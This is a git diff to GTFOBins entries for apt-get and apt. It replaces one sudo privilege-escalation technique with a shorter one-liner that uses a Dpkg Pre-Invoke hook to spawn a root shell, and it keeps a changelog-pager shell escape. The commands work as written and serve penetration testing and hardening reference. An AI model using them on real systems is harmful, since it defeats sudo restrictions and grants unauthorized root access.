diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md
index 92519c6..af5fba0 100644
--- a/_gtfobins/apt-get.md
+++ b/_gtfobins/apt-get.md
@@ -10,8 +10,6 @@ functions:
       code: |
         sudo apt-get changelog apt
         !/bin/sh
-    - description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:'
-      code: |
-        echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
-        sudo apt-get install -c ./test.conf sl
+    - description: For this to work the target package (e.g., `sl`) must not be installed.
+      code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
 ---
diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md
index 823b523..9e5e274 100644
--- a/_gtfobins/apt.md
+++ b/_gtfobins/apt.md
@@ -10,8 +10,6 @@ functions:
       code: |
         sudo apt-get changelog apt
         !/bin/sh
-    - description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:'
-      code: |
-        echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
-        sudo apt install -c ./test.conf sl
+    - description: For this to work the target package (e.g., `sl`) must not be installed.
+      code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
 ---